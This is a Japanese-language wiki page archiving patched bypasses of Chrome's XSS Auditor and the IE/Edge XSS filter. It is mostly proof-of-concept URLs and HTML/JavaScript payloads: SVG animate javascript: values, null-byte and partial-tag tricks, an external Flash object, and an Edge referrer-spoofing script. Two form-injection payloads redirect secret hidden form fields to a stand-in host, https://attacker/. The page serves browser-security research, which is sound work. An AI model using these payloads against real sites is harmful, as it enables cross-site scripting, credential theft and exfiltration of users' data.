Skip to content

Fixed Bypass Archive

Masato Kinugawa edited this page Jul 7, 2018 · 7 revisions

塞がれたバイパスを参考までに掲載。

XSS Auditor

SVGアニメーションのvalues属性の利用(Chrome)

補足:

PoC 1はChrome 59、PoC 2はChrome 62で修正。

参考URL:

PoC 1:

https://vulnerabledoma.in/bypass/text?q=%3Csvg%3E%3Canimate%20href=%23x%20attributeName=href%20values=%26%23x3000%3Bjavascript:alert(1)%20/%3E%3Ca%20id=x%3E%3Crect%20width=100%20height=100%20/%3E%3C/a%3E

<svg><animate href=#x attributeName=href values=&#x3000;javascript:alert(1) /><a id=x><rect width=100 height=100 /></a>

PoC 2:

https://vulnerabledoma.in/bypass/text?q=%3Csvg%3E%3Canimate+xlink%3Ahref%3D%23x+attributeName%3Dhref+values%3D%26%23106%3Bavascript%3Aalert%281%29+%2F%3E%3Ca+id%3Dx%3E%3Crect+width%3D100+height%3D100+%2F%3E%3C%2Fa%3E

<svg><animate xlink:href=#x attributeName=href values=&#106;avascript:alert(1) /><a id=x><rect width=100 height=100 /></a>

半端なscriptタグの閉じタグの利用(Chromeのみ)

補足:

Chrome 61で修正。

攻撃可能条件:

  1. 任意のタグを書けるXSSがある
  2. 直後に空白文字がある

参考URL:

PoC:

https://vulnerabledoma.in/bypass/text?type=4&q=%3Cscript%3Ealert(1)%3C/script

<div> <script>alert(1)</script </div><div id="x"></div>

複数のnull文字の利用(Chrome)

補足:

Chrome 62で修正。

攻撃可能条件:

  1. 任意のタグを書けるXSSがある
  2. nullバイトが出力される
  3. 直前に空白文字がない

参考URL:

PoC:

https://vulnerabledoma.in/bypass/text?q=%00%00%00%00%00%00%00%3Cscript%3Ealert(1)%3C/script%3E

[0x00][0x00][0x00][0x00][0x00][0x00][0x00]<script>alert(1)</script>

scriptタグ内の-->によるコメントの利用(Chrome)

補足:

Chrome 62で修正。

攻撃可能条件:

  1. 任意のタグを書けるXSSがある
  2. 後続に改行をはさまずscriptタグの閉じタグがある

参考URL:

PoC:

https://vulnerabledoma.in/bypass/text?type=9&q=%3Cscript%3Ealert(1)%0A--%3E

<div><script>alert(1)
--></div><script src=/test.js></script>

半端なformタグの利用(情報の取得のみ)(Chrome)

補足:

Chrome 62で修正。

攻撃可能条件:

  1. 任意のタグを書けるXSSがある
  2. 秘密情報を含む既存のフォーム内容の送信先になれる位置に新たなformタグを置ける

参考URL:

PoC:

(フォーム内にいる場合) https://vulnerabledoma.in/bypass/form?q=%22%3E%3C/form%3E%3Cform%20action=https://attacker/

<form action="form">
<input type="hidden" name="q" value=""></form><form action=https://attacker/">
<input type="hidden" name="secret" value="a09d3ef0">
<input type="submit">
</form>

(フォーム外にいる場合) https://vulnerabledoma.in/bypass/form2?q=%3Cbutton%20form=f%3ECLICK%3Cform%20id=f%20action=https://attacker/

<div><button form=f>CLICK<form id=f action=https://attacker/</div>
<form action="form2">
<input type="hidden" name="secret" value="a09d3ef0">
</form>

<object><param name=url/code>の利用(Chromeのみ)

補足:

Chrome 64で修正。

攻撃可能条件:

  1. 任意のタグを書けるXSSがある
  2. ターゲットの環境でFlashが利用できる

参考URL:

PoC:

https://vulnerabledoma.in/bypass/text?q=%3Cobject%20allowscriptaccess=always%3E%3Cparam%20name=url%20value=https://l0.cm/xss.swf%3E

<object allowscriptaccess=always><param name=url value=https://l0.cm/xss.swf>

https://vulnerabledoma.in/bypass/text?q=%3Cobject%20allowscriptaccess=always%3E%3Cparam%20name=code%20value=https://l0.cm/xss.swf%3E

<object allowscriptaccess=always><param name=code value=https://l0.cm/xss.swf>

リンクと半端なbaseタグの利用(Chrome)

補足:

Chrome 65で修正。

攻撃可能条件:

  1. 任意のタグを書けるXSSがある
  2. 直後に空白文字がある
  3. それ以降に'"がある

参考URL:

PoC:

https://vulnerabledoma.in/bypass/text?type=4&q=%3Ca%20href=/**/alert(1)%3EXSS%3C/a%3E%3Cbase%20href=%22javascript:\

<div> <a href=/**/alert(1)>XSS</a><base href="javascript:\ </div><div id="x"></div>

IE/EdgeのXSSフィルター

リファラ偽装バグの利用(Edgeのみ)

補足:

2018年4月の時点で修正を確認。

攻撃可能条件:

  1. 反射型のXSSがある

参考URL:

PoC:

https://l0.cm/bypass/edge_referer_spoofing.html

<script>
//Found by @magicmac2000
function go(){
  var win = window.open("edge_referer_spoofing_redirector");
  var ifr = win.document.createElement("iframe");
  win.document.appendChild(ifr);
  win[0].opener = win;
  win[0].setTimeout("alert('wait');opener.location='https://vulnerabledoma.in/bypass/text?q=<script>alert(1)<\/script>'");
}
</script>
<button onclick=go()>go</button>